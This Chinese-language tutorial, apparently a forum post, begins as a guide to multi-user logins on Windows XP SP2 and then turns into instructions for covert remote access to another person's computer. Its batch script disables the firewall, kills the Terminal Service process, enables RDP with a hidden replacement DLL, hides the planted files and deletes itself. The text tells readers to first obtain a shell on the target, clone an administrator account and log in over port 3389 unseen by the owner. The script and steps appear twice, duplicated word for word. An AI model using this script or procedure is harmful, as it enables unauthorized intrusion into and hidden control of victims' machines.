實現XP多用戶同玩一台電腦的方法
第一步:首先是在Windows XP上安裝SP2正式版,按照常規方式安裝即可,這裡不再贅述。
第二步:准備一份版本較早的SP2終端服務器軟件(據說從Build 2082開始該功能就被禁止了,所以最好使用之前版本),中文SP2測試版較難找到,我用的是英文版Build 2055,運行之後沒有發現任何問題。你可以從http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act" target="_blank">http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act
=Attach&type=post&id=161513下載Build 2055的終端服務器執行文件TermSrv.DLL。從這個鏈接下載來的是一個擴展名為.DL_的文件,你可以把它的擴展名改成ZIP文件,然後用WinRAR解開它。
第三步:接下來,以安全模式啟動Windows XP,如果有多個操作系統,可以啟動另一個能訪問Windows XP系統分區的系統(除非安裝了第三方工具軟件,否則Windows 98不能訪問NTFS分區,因此Windows 98可能沒用)。然後,把Windows XP裡面SP2正式版的所有TermSrv.DLL備份一下,在所有TermSrv.DLL文件出現的位置,用Build 2055版本的TermSrv.DLL覆蓋。通常,TermSrv.DLL至少出現在二個位置,分別是:\Windows\system32,\Windows\system32\dllcache。凡是原來有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆蓋。
第四步:以正常模式啟動Windows XP,如果系統的文件保護功能提示說TermSrv.DLL文件已被修改,並詢問是否要復原,選擇否。
第五步:最後還要修改一下注冊表,增加終端服務器的多用戶許可。鑒於修改注冊表比較麻煩而且容易出錯,你可以用下面的批命令修改注冊表:
@echo off
setlocal
set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"
reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f
endlocal
將上述內容保存為一個批命令文件,如AA.BAT,雙擊執行一下就可以了。
我不推薦這種做法 ,太煩鎖了,而且還要讓系統重起過。我們可以寫一個批處理文件使系統不用重起就實現XP多用戶登陸,首先我們先來了解一個對注冊表操作的命令參數:
REG ADD KeyName [/v ValueName /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
Machine 遠程機器名 - 忽略默認到當前機器。遠程機器上
只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM HKCU HKCR HKU HKCC ]
SubKey 所選 ROOTKEY 下注冊表項的完整名。
/v 所選項之下要添加的值名。
/ve 為注冊表項添加空白值名(默認)。
/t RegKey 數據類型
[ REG_SZ REG_MULTI_SZ REG_EXPAND_SZ
REG_DWORD REG_BINARY REG_NONE ]
如果忽略,則采用 REG_SZ。
/s 指定一個在 REG_MULTI_SZ 數據字符串中用作分隔符的字符
如果忽略,則將 "\0" 用作分隔符。
/d 要分配給添加的注冊表 ValueName 的數據。
/f 不用提示就強行覆蓋現有注冊表項。
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加遠程機器 ABC 上的一個注冊表項 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一個值(名稱: Path,類型: REG_EXPAND_SZ,數據: %systemroot%)
注意: 在擴充字符串中使用插入符號 ( ^ )
為了讓系統不重起,我們可以用shutdown -a 這個命令。
根據上面找來的資料,我們可以編寫一個批處理,實現XP系統多用戶登陸而又不用重起系統。
代碼如下:
@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@net start termservice
@del c:\3389.bat
其中“pid"是要替換成TermService服務的PID號,可以用命令tasklist/svc命令得到。當然win2000和以下系統是沒有tasklist命令的。
具體的操作方法是:先要得到對方的一個SHELL,然後在shell下用第三方軟件打開終端服務,先不要改變默認的3389端口,不然要重起後才登陸,再建一個或克隆一個超級管理員用戶。
接下來把下載好的termsrvhack.dll和上面的批處理傳到對方的C盤根目錄下,然後在shell下運行此批處理。提示成功!
最後打開登陸器,3389終端登陸!
說明一下你登陸進去後在裡面的操作和那台電腦的主人操作是互不影響的,他玩他的,你玩你的,呵呵,爽伐?!
為了讓系統不重起,我們可以用shutdown -a 這個命令。
根據上面找來的資料,我們可以編寫一個批處理,實現XP系統多用戶登陸而又不用重起系統。
代碼如下:
@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@net start termservice
@del c:\3389.bat
其中“pid"是要替換成TermService服務的PID號,可以用命令tasklist/svc命令得到。當然win2000和以下系統是沒有tasklist命令的。
具體的操作方法是:先要得到對方的一個SHELL,然後在shell下用第三方軟件打開終端服務,先不要改變默認的3389端口,不然要重起後才登陸,再建一個或克隆一個超級管理員用戶。
接下來把下載好的termsrvhack.dll和上面的批處理傳到對方的C盤根目錄下,然後在shell下運行此批處理。提示成功!
最後打開登陸器,3389終端登陸!
說明一下你登陸進去後在裡面的操作和那台電腦的主人操作是互不影響的,他玩他的,你玩你的,呵呵,爽伐?!